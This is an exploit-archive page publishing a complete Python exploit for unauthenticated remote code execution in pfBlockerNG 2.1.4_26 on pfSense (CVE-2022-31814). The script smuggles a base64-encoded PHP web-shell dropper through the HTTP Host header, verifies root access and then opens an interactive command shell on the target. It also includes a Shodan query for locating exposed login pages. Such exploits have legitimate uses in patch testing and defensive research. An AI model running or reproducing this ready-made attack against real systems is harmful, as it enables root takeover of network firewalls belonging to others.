what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

pfBlockerNG 2.1.4_26 Remote Code Execution

pfBlockerNG 2.1.4_26 Remote Code Execution
Posted Feb 27, 2023
Authored by IHTeam

pfBlockerNG version 2.1.4_26 remote code execution exploit.

tags | exploit, remote, code execution
advisories | CVE-2022-31814
SHA-256 | 4ac7bffe74c29e0dabbff18d552da8d3e73678fb8ed2b4a6a73be8d67499aebc

pfBlockerNG 2.1.4_26 Remote Code Execution

Change Mirror Download
# Exploit Title: pfBlockerNG 2.1.4_26 - Remote Code Execution (RCE)
# Shodan Results: https://www.shodan.io/search?query=http.title%3A%22pfSense+-+Login%22+%22Server%3A+nginx%22+%22Set-Cookie%3A+PHPSESSID%3D%22
# Date: 5th of September 2022
# Exploit Author: IHTeam
# Vendor Homepage: https://docs.netgate.com/pfsense/en/latest/packages/pfblocker.html
# Software Link: https://github.com/pfsense/FreeBSD-ports/pull/1169
# Version: 2.1.4_26
# Tested on: pfSense 2.6.0
# CVE : CVE-2022-31814
# Original Advisory: https://www.ihteam.net/advisory/pfblockerng-unauth-rce-vulnerability/

#!/usr/bin/env python3
import argparse
import requests
import time
import sys
import urllib.parse
from requests.packages.urllib3.exceptions import InsecureRequestWarning

requests.packages.urllib3.disable_warnings(InsecureRequestWarning)

parser = argparse.ArgumentParser(description="pfBlockerNG <= 2.1.4_26 Unauth RCE")
parser.add_argument('--url', action='store', dest='url', required=True, help="Full URL and port e.g.: https://192.168.1.111:443/")
args = parser.parse_args()

url = args.url
shell_filename = "system_advanced_control.php"

def check_endpoint(url):
response = requests.get('%s/pfblockerng/www/index.php' % (url), verify=False)
if response.status_code == 200:
print("[+] pfBlockerNG is installed")
else:
print("\n[-] pfBlockerNG not installed")
sys.exit()

def upload_shell(url, shell_filename):
payload = {"Host":"' *; echo 'PD8kYT1mb3BlbigiL3Vzci9sb2NhbC93d3cvc3lzdGVtX2FkdmFuY2VkX2NvbnRyb2wucGhwIiwidyIpIG9yIGRpZSgpOyR0PSc8P3BocCBwcmludChwYXNzdGhydSggJF9HRVRbImMiXSkpOz8+Jztmd3JpdGUoJGEsJHQpO2ZjbG9zZSggJGEpOz8+'|python3.8 -m base64 -d | php; '"}
print("[/] Uploading shell...")
response = requests.get('%s/pfblockerng/www/index.php' % (url), headers=payload, verify=False)
time.sleep(2)
response = requests.get('%s/system_advanced_control.php?c=id' % (url), verify=False)
if ('uid=0(root) gid=0(wheel)' in str(response.content, 'utf-8')):
print("[+] Upload succeeded")
else:
print("\n[-] Error uploading shell. Probably patched ", response.content)
sys.exit()

def interactive_shell(url, shell_filename, cmd):
response = requests.get('%s/system_advanced_control.php?c=%s' % (url, urllib.parse.quote(cmd, safe='')), verify=False)
print(str(response.text)+"\n")


def delete_shell(url, shell_filename):
delcmd = "rm /usr/local/www/system_advanced_control.php"
response = requests.get('%s/system_advanced_control.php?c=%s' % (url, urllib.parse.quote(delcmd, safe='')), verify=False)
print("\n[+] Shell deleted")

check_endpoint(url)
upload_shell(url, shell_filename)
try:
while True:
cmd = input("# ")
interactive_shell(url, shell_filename, cmd)
except:
delete_shell(url, shell_filename)

Login or Register to add favorites

File Archive:

October 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Oct 1st
    39 Files
  • 2
    Oct 2nd
    23 Files
  • 3
    Oct 3rd
    0 Files
  • 4
    Oct 4th
    0 Files
  • 5
    Oct 5th
    0 Files
  • 6
    Oct 6th
    0 Files
  • 7
    Oct 7th
    0 Files
  • 8
    Oct 8th
    0 Files
  • 9
    Oct 9th
    0 Files
  • 10
    Oct 10th
    0 Files
  • 11
    Oct 11th
    0 Files
  • 12
    Oct 12th
    0 Files
  • 13
    Oct 13th
    0 Files
  • 14
    Oct 14th
    0 Files
  • 15
    Oct 15th
    0 Files
  • 16
    Oct 16th
    0 Files
  • 17
    Oct 17th
    0 Files
  • 18
    Oct 18th
    0 Files
  • 19
    Oct 19th
    0 Files
  • 20
    Oct 20th
    0 Files
  • 21
    Oct 21st
    0 Files
  • 22
    Oct 22nd
    0 Files
  • 23
    Oct 23rd
    0 Files
  • 24
    Oct 24th
    0 Files
  • 25
    Oct 25th
    0 Files
  • 26
    Oct 26th
    0 Files
  • 27
    Oct 27th
    0 Files
  • 28
    Oct 28th
    0 Files
  • 29
    Oct 29th
    0 Files
  • 30
    Oct 30th
    0 Files
  • 31
    Oct 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2024 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close